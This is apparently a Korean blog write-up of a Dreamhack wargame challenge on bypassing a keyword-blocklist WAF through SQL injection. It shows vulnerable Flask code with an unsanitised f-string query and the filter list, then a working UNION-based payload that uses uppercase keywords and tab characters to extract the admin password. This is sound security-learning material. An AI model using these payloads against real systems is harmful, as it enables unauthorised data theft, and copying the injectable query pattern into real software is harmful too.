sql injection bypass WAF

2026. 2. 6. 21:26·Dreamhack 워게임/Lv.1
반응형

문제 설명

Exercise: SQL Injection Bypass WAF에서 실습하는 문제입니다.


코드 분석

app.py

keywords = ['union', 'select', 'from', 'and', 'or', 'admin', ' ', '*', '/']
def check_WAF(data):
    for keyword in keywords:
        if keyword in data:
            return True

    return False
  • union, select, from, and, or, admin, ' ', '*', '/' 를 필터링하고 있다는 것을 알 수 있음
@app.route('/', methods=['POST', 'GET'])
def index():
    uid = request.args.get('uid')
    if uid:
        if check_WAF(uid):
            return 'your request has been blocked by WAF.'
        cur = mysql.connection.cursor()
        cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
        result = cur.fetchone()
        if result:
            return template.format(uid=uid, result=result[1])
        else:
            return template.format(uid=uid, result='')

    else:
        return template
  • uid를 입력받고, 입력받은 uid가 SQL 쿼리문에 그대로 들어감
  • 하고 template로 반환
template ='''
<pre style="font-size:200%">SELECT * FROM user WHERE uid='{uid}';</pre><hr/>
<pre>{result}</pre><hr/>
<form>
    <input tyupe='text' name='uid' placeholder='uid'>
    <input type='submit' value='submit'>
</form>
'''

 

init.sql

 

USE `users`;
CREATE TABLE user(
  idx int auto_increment primary key,
  uid varchar(128) not null,
  upw varchar(128) not null
);

INSERT INTO user(uid, upw) values('abcde', '12345');
INSERT INTO user(uid, upw) values('admin', 'DH{**FLAG**}');
INSERT INTO user(uid, upw) values('guest', 'guest');
INSERT INTO user(uid, upw) values('test', 'test');
INSERT INTO user(uid, upw) values('dream', 'hack');
FLUSH PRIVILEGES;
  • user 테이블을 생성하는데 idx, uid, upw 이렇게 총 3개의 컬럼이 있음
  • user 테이블엔 5개의 값이 들어가있음

취약점 분석

  • 입력한 uid가 SQL문에 직접적으로 들어감
  • 필터링을 단순히 특정 문자열만 필터링함

익스플로잇

 

admin을 입력했는데 your request has been blocked by WAF이라는 문구가 출력됨.

ADMIN을 입력했더니 admin이 출력됨. 따라서 대문자로 우회가 가능한듯하다.

 

우리는 uid가 admin인 upw값을 가져오는 것이 목표이므로 다음과 같이 작성해준다.

' UNION SELECT 1,upw,1 FROM user WHERE uid='ADMIN'#

아마 공백 때문에 막히는 듯하다. 공백 대신 [Tab]을 넣어주자.

'	UNION	SELECT	1,upw,1	FROM	user	WHERE	uid='ADMIN'#

플래그 획득


번외)

아마 우회를 하셨던 분들 중 공백을 우회하기 위해서 URL 인코딩을 시도해 봤을 것이다.

%27%20UNION%20SELECT%201,upw,1%20FROM%20user%20WHERE%20uid=%27ADMIN%27%23

URL 인코딩시 출력화면은 다음과 같이 나오게 된다.

 

왜 그럴까?

 

브라우저가 %를 %25로 다시 인코딩을 해서 보내기 때문에 그렇다.

즉, %2527이 서버에 들어가 다시 인코딩을 하면  %27이 되기 때문에 그대로 %27이 박힌 채 출력이 되는 것이다.

 

그래서 입력칸에 수작업인 [Tab] 같이 실제 문자를 넣어야 한다.

반응형

'Dreamhack 워게임 > Lv.1' 카테고리의 다른 글

Apache htaccess  (0) 2026.02.08
File Vunleravility Advanced for Linux  (0) 2026.02.07
Command Injection Advanced  (0) 2026.02.06
error based sql injection  (0) 2026.02.03
easy client side  (0) 2026.02.03
'Dreamhack 워게임/Lv.1' 카테고리의 다른 글
  • Apache htaccess
  • File Vunleravility Advanced for Linux
  • Command Injection Advanced
  • error based sql injection
y3onbug5
y3onbug5
y3onbug5 님의 블로그 입니다.
  • y3onbug5
    y3onbug5 님의 블로그
    y3onbug5
  • 전체
    오늘
    어제
    • 분류 전체보기 (167) N
      • Alpacahack (19) N
      • Dreamhack 워게임 (49)
        • Lv.1 (40)
        • Lv.0 (4)
        • LV.2 (3)
        • LV.3 (2)
      • [Dreamhack] Web Beginner (3)
      • [Dreamhack] Web Hacking (17)
        • 웹 기초 지식 (4)
        • Cookie & Session (2)
        • Cross-Site Scripting(XSS) (1)
        • Cross-Site Request Forgery (1)
        • SQL Injection (4)
        • NoSQL Injection (2)
        • Command Injection (1)
        • File Vulnerability (1)
        • Server-Side Request Forgery (1)
      • [Dreamhack] Web Hacking Client-Side (10)
        • XSS Filtering Bypass (2)
        • Content Security Policy (CSP) (2)
        • CSRF,CORS Bypass (2)
        • Client-Side Template Injection (CSTI) (1)
        • CSS Injection (1)
        • Relative Path Overwrite (RPO) (1)
        • DOM Vulnerability (1)
      • [Dreamhack] Web Hacking Server-Side (15)
        • SQL Injection Advanced (4)
        • SQL Injection Advanced - Fingerprinting (2)
        • NoSQL Injection Advanced (3)
        • Command Injection Advanced - Web Servers (3)
        • File Vulnerability Advanced - Web Server (3)
      • [Dreamhack]Black-Box Penetration Testing (15)
        • DreamCommunity Penetration Testing (11)
      • [Dreamhack] LLM (2)
        • [Dreamhack] LLM과 프롬프트 엔지니어링 (2)
      • Web 공부 (4)
      • Web Study (15)
      • JavaScript (17)
        • 기초 (12)
        • 중급 (4)
      • 웹 개발(Flask) (0)
      • [Security First] web 기초교육 (1)
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    LLM
    webstudy
    CSRF
    hacking
    DreamHack
    web
    JS
    cve
    alpacahack
    JavaScript
    webhacking
    드림핵
    xss
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.5
y3onbug5
sql injection bypass WAF
상단으로

티스토리툴바